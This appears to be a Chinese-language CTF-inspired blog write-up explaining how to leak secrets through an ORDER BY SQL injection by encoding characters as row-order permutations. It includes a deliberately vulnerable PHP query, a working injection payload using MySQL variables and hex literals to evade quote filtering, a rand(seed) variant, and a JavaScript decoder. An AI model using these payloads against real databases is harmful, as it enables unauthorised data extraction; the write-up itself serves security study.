ordey-by-leak-of-sql-injection

前言

前些日子在看google-2019-ctf的时候，看到一道关于Order by注入点的题，觉得很有趣。第一次考虑如何通过一次SQL查询，尽可能得到更多有用的信息。

进入正题考虑下面的情况

$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
$inject = $db->escape_string($_GET['order']);
$sql = "select * from user order by $inject";
$result = $db->query($sql);
show_fileds($result); // 讲查询结果按顺序打印出来

这个时候注入点在order by 后面，order by 后面是不能带union select，而且此处也是不存在报错注入的。唯一显示是通过该处查询得到的user表的所有内容。每次输出的唯一差异性在于每行查询数据的排列顺序，是否可以通过不同的排列顺序去间接的泄露一些信息呢？答案是肯定的。

如果有n条查询结果，那么就有n!种不同的排列顺序，这就是有n个球和n个盒子的问题，如何把n个球放到这n个盒子里面，每个盒子只能放一个球，其实也就是排列数公式 (n!/(n-m)!)中m=n的特殊情况即全排列。我们如何去使用这n!种情况呢？这就是本文问题所在。

字符串转换成整数

通常SQL注入的情况下，我们需要得到的信息都是字符串，所以很多情况下都是去猜解这个字符串。在只通过一次查询的情况去猜解更多位的字符串是我们的目标。所以我们需要把我们猜解的结果以查询结果排序的顺序间接的显示出来。需要首先考虑猜解范围集合和排列数集合大小关系。

例如需要猜解的字符串单个字符在 "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 36位字符集合里面，若是长度为n的字符串，那么猜解的范围就为36**n,若当前user表包含9条数据，那么排列数的大小为9!,则能表示的位数为log36(9!)=3.572417978，所以一次查询能完全正确猜解的位数为3，那么在n位的字符串里面可以截取3位，这36位字符集合正好是mysql里面36进制用到的字符，所以可以进行conv(substr(@secert,1,3),36,10),这里的@secert表示需要猜解的字符串。如果conv无法使用，你可以自己做一个简单的转换(ord(c)-22)%43把"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"的ASCII映射到[0,35]上，然后再分别乘上对36**r,r表示字符对应的36进制的位数，这样做需要在脚本解码的时候也用同样的映射算法。

这里我们已经可以把分割字符串转化10进制的整数值。整数值的大小应该是在排列数的范围之类。接着就是如何把整数值转换成排列值。

数字到排序的Encode 和 Decode

这个地方可以理解为给出了一个字符串和整数n，输出这个字符串的第n个全排列。这里的字符串相当于这里user表里每行数据为单元的集合，整数n就是前面分割得到字符转化为的整数值。这里介绍两种计算全排列的方法。

0x1 rand()

在order by后面使用rand(), 是可以用来输出每次查询都是不同顺序的数据行。例如

MariaDB [test]> select * from maple;
+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-27 | 31OSKU57KV49 |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+

MariaDB [test]> select * from maple order by rand();
+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-14 | L4CY1JMRBEAW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-10 | OQQRH90KDJH1 |
+------------+--------------+
9 rows in set (0.001 sec)

可以看到每次输出的顺序是不同的，再来看一下固定的随机种子rand(1)

MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

MariaDB [test]> select * from maple order by rand(1);
+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+
9 rows in set (0.001 sec)

固定随机种子，固定输出一种排列顺序。所以在这里可以用 rand(conv(substr(@secert,1,3),36,10)),但在此之前，我们需要维护一张关于rand([0,n!-1])的映射表，这个工作可以在本地完成，然后通过遍历映射表还原字符串。使用rand()相当于需要自己去额外维护一张全排列的表，下面再介绍一种方法把全排列算法放在查询语句中。

0x2 Index of row

如何把计算全排列的算法放在查询语句里面呢？首先我们先尝试给每一行数据添加一个index序号，添加序号的方法又可以分为两种，如下：

1 2	set @row = 0; select *,@row:=@row+1 from user;

额外定义一个SQL变量用来表示每次查询的行号。同样也根据每行数据的特征来表示行号，如若表的结构如下：

+------------+--------------+
| date       | winner       |
+------------+--------------+
| 2019-04-18 | 8DKYRPIO4QUW |
| 2019-04-27 | 31OSKU57KV49 |
| 2019-04-10 | OQQRH90KDJH1 |
| 2019-04-12 | 2JTBMJW9HZOO |
| 2019-04-02 | 7AET1KPGKUG4 |
| 2019-03-01 | 4KYEC00RC5BZ |
| 2019-04-06 | UDT5LEWRSWM9 |
| 2019-04-22 | BFWQCWYK9VHJ |
| 2019-04-14 | L4CY1JMRBEAW |
+------------+--------------+

我们也可以用find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这样的方式来表示。再来仔细理解一下order by是怎么工作的。

MariaDB [test]> explain select * from maple order by 1;
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
| id   | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra          |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
|    1 | SIMPLE      | maple | ALL  | NULL          | NULL | NULL    | NULL |    8 | Using filesort |
+------+-------------+-------+------+---------------+------+---------+------+------+----------------+
1 row in set (0.000 sec)

可以注意到出现了filesort,在使用这种排序的时候首先从表里读取所有满足条件的行，即order by用到的列值，然后再根据每列order by 后表达式计算的值，进行一次quicksort。目标在排序之前拿到从表里读到的数据列的顺序都是固定的，即select * from user。

这里表的结构里面有9列，所以要把拿到的整数值转化成个9权重值分给每一列，再进行快速排列。前面说到的整数n应该在[0,9!)之间。所以我们可以通过除法和模运算来转化。

$n = $d9 * 9 + $r9 // r9 in [0 ,8]
$d9 = $d8 * 8 + $r8 // r8 in [0 ,7]
$d8 = $d7 * 7 + $r7 // r7 in [0 ,6]
$d7 = $d6 * 6 + $r6 // r6 in [0 ,5]
$d6 = $d5 * 5 + $r5 // r5 in [0 ,4]
$d5 = $d4 * 4 + $r4 // r4 in [0 ,3]
$d4 = $d3 * 3 + $r3 // r3 in [0 ,2]
$d3 = $d2 * 2 + $r2 // r2 in [0 ,2]
$r2 = $d1 * 1 + $r1 // 
$r1 = 0

得到[$r9 ,$r8 ,$r7 ,$r6 ,$r5 ,$r4 ,$r3 ,$r2 ,$r1]，如6666会被转化成[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0],再根据这个集合转化成[0,1,2,3,4,5,6,7,8]赋给每一列，如何转化呢？

首先定义@l: = "012345678"表示权重tokens,再把[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0] + 1当做下标，去截@l里面的字符。每次截取之后就把截取出来的字符从@l里面去掉，最后生成了[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8],按照顺序再赋值给每一列order by返回值，生成排序结果。以上部分相当于是Encode的部分，把整数值n转化成对应全排列。用SQL语句来表示为：

select * 
	from maple 
	order by 
	(select concat(
	(select 1 from(select @l:=0x303132333435363738,@r:=9,@b:=66)x),//0x303132333435363738 == “012345678”因为过滤了单引号
	substr(@l,1+mod(@b,@r),1),
	@l:=concat(substr(@l,1,mod(@b,@r)),
	substr(@l,2+mod(@b,@r))),
	@b:=@b div @r,@r:=@r-1));

可以看到这里order by 后面表达式返回的是concat拼接的一长串值，不是简单的"012345678"里面的某个单字符。这里其实不影响，mysql里面字符串进行比较的时候，是按位比较的，这里第一位都是1不影响，紧接着就是每一列真正的权重值。

前面说到find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))这种输出行号的方法，在这里其实也是可以用到的。可以通过嵌套的select，先用一个select 得到[6 ,4 ,1 ,1 ,2 ,0 ,0 ,0 ,0]除法和模运算得到的序列,再用一次select得到[6 , 4 ,1 ,2 ,5 ,0 ,3 ,7 ,8]权重值序列，再通过find_in_set(substr(winner,1,1),'8,3,0,2,7,4,U,B,L'))依次去取前面得到的权重值数组里面的值。相对来说还是第一种方法较为简单。

解码过程就是把排列顺序还原成整数n，再将整数n还原字符串，第二步较为简单。第一步的操作如下：

function cal(str){

	a = "012345678"
	offsets = [];
	while(str.length>0){
	  chr=str.substr(0,1)
	  str=str.substr(1)
	  offset = a.indexOf(chr)
	  offsets.push(offset);
	  a = a.substr(0,offset)+a.substr(offset+1);
	 
	}
	len = offsets.length
	num = 0
	cx  = 1
	while(len>0){
	
	 num = num*cx+offsets[len-1]
	 cx++;
	 len--;
	}
	//console.log(cx);
	console.log(num);
}

可把得到的排序序列的字符串转换成整数n，Decode算法按照Encode 的算法来写就行。

总结

SQL注入在原印象中都是利用页面的差异一位一位的猜解，在此处order by可以尽可能多的猜解多位，对于长字符串你需要根据表中数据列的多少进行分割再依次进行猜解，这个地方需要注意的是，我看到有的地方对于长字符串可以压缩之后再进行猜解，length(compress(@string)) < length(@string) 字符串长度在90左右时候成立，但是在这个地方，是否也可以将字符串进行压缩呢？我认为并不是一个明智的选择，压缩之后会引入新的字符，可能会减少字符串的长度，但一定会增加猜解的范围。其实关于用SQL生成全排列的算法远不止上面几种，有兴趣的朋友可以自己再琢磨琢磨。

maplgebra

a long time ago, in a galaxy far far away

ordey-by-leak-of-sql-injection

前言

字符串转换成整数

数字到排序的Encode 和 Decode

0x1 rand()

0x2 Index of row

总结